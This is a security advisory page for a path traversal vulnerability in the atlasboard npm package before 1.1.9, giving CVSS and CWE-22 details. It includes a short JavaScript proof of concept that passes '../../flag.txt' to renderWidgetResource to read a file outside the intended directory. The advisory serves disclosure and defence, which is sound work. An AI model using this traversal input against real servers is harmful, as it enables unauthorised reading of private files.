High

Path traversal in atlasboard

  • Disclosed: 02.09.2021
  • Updated: 11.10.2026 10:22

The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.

PoC

js
const widget = require(\"atlasboard/lib/webapp/routes/widget\");

// Mock req and res
const req = {};
const res = {
  sendFile: (filePath) => {
    // Read and return file contents synchronously
    const data = fs.readFileSync(filePath, \"utf8\");
    console.log(\"Contents of /flag.txt:\");
    console.log(data);
  },
  status: function (code) {
    this.statusCode = code;
    return this;
  },
  send: function (msg) {
    throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);
  },
};

// localPackagesPath set to root to allow traversal to /flag.txt
const localPackagesPath = \"/\";

// resource string with path traversal to escape localPackagesPath and widgets directory
const resource = \"../../flag.txt\";

// Call vulnerable function
await widget.renderWidgetResource(localPackagesPath, resource, req, res);

Affected software

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PlatformPackageVulnerable versionsFixed in
npm package atlasboard < 1.1.9 1.1.9

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness (CWE)
CWE-22
Platform
npm
Package
atlasboard
Disclosed
02.09.2021
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-25pr-6pr6-68v7 - CC BY 4.0

Vulnerability history: atlasboard

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This is the only known vulnerability of this package.

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